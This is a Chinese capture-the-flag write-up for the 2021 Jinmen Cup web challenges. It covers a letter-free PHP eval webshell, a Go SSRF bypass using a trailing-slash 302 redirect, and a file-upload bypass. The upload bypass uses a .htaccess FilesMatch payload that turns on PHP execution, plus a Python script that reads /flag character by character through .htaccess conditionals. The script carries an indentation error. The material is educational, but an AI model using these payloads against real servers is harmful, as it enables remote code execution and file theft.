2021津门杯WP

预计阅读时间: 2 分钟

2021津门杯WP

1、hatephp

进去之后发现是一个典型的无字母数字webshell题目,源码如下:

 <?php
     error_reporting(0);
    if(!isset($_GET['code'])){
        highlight_file(__FILE__);
    }else{
        $code = $_GET['code'];
        if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
            die('fighting!');     
        }    
        eval($code);
    }

直接按照[p神的文章](无字母数字webshell之提高篇 | 离别歌 (leavesongs.com))打就行了。

2、GOOSS

给了源码,查看源码可以发现,访问到内网80端口的index.php就能读到flag,所以很明显是一道ssrf的题目。

查看go源码,发现可以请求外部链接,而且有回显,但是设置了白名单,只能访问前缀为http://127.0.0.1:1234/的url。image-20210511202708415

查找所以我们要结合其他路由,找一个能够302跳转的点,发现题目正好给了一个地方可以302跳转

image-20210511202851154

​ 大概意思就是要求你访问的文件是一个dir,而且最后缺少一个/的时候,就会帮你用一个302跳转补上,这么一个贴心的功能。但是,结合一些go语言的特性,就会出现安全问题。具体思路和Trick可以参考下面的三篇文章,讲的很详细(尤其是最后一篇)

https://www.secpulse.com/archives/102918.html

https://xz.aliyun.com/t/3302

https://evoa.me/archives/21/

​ 其实我们在测试的时候并不是这样用双斜杠忽略协议,而是直接把访问的地址设置成http://127.0.0.1:80/index.php?file=/flag,类似这样:GET http://127.0.0.1:80/index.php?file=/flag#/../../../../..(具体记不太清了,反正没直接用双斜杠)也是可以的。

3、uploadhub

这题有点奇怪。。。首先是出题人设置了一个没有用到的白名单

image-20210511203650771

注意这两个地方不是同一个变量

​ 其次在给的题目附录里有一个被复制到根目录但是毫无用处的tar.py。我估计预期出题思路和预期解法应该是上次tar文件,然后用链接的方式把flag带出来。但是这道题在现在这个状态也可以做出来。

​ 因为后缀限制被取消了,所以我们可以上传任意文件,而且题目也没有对我们上传的文件进行重命名。这里第一时间可以想到直接上传webshell,但是由于apache2.conf里面的设置,php无法解析。

image-20210511204018141

​ 所以我们可以先上传一个.htaccess文件,然后再上传一个php文件执行php代码。这里要注意一点,如果采用如下.htaccess文件是无效的:

php_flag engine on
SetHandler application/x-httpd-php

具体原因不是很清楚,不过据[宸极实验室的文章](『CTF』津门杯国际网络安全创新大赛 WP (qq.com))所说,Files标签的优先级高于Directory标签,所以猜测不加标签的优先级最低所以不行(仅猜测)。所以采用如下文件:

<FilesMatch "\.php$">
    php_flag engine on
    SetHandler application/x-httpd-php
</FilesMatch>

然后上传php文件拿flag。

还有一种做法来自Nu1l战队,是.htaccess盲注,代码如下:(大师傅tql)

import requests
import string
import hashlib
ip = requests.get('http://118.24.185.108/ip.php').text
print(ip)
def check(a):
    f = '''
    <If "file('/flag')=~ /'''+a+'''/">
    ErrorDocument 404 "wupco"
    </If>
    '''
    resp = requests.post("http://122.112.248.222:20003/index.php?id=167",
    data={'submit': 'submit'}, files={'file': ('.htaccess',f)} )
    a = requests.get("http://122.112.248.222:20003/upload/"+ip+"/a").text
    if "wupco" not in a:
        return False
    else:
        return True
flag = "flag{BN"
c = string.ascii_letters + string.digits + "\{\}"
for j in range(32):
    for i in c:
        print("checking: "+ flag+i)
            if check(flag+i):
                flag = flag+i
                print(flag)
                break
            else:
                continue

还有两道题,一道题目是vim文件泄露然后反序列化,另一道题目是ssrf用gopher打post盲注,不是我做的题目所以就不写具体内容了。

Refrence:

津⻔杯-WriteUp (qq.com)

『CTF』津门杯国际网络安全创新大赛 WP (qq.com)

Nu1l战队的知识星球

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注